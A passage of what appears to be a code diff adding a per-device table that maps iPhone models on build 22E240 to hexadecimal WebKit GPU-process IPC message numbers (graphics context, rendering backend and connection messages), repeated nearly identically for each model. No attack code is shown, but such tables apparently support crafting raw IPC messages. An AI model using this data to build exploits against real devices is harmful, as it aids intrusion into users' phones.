RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,7_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + 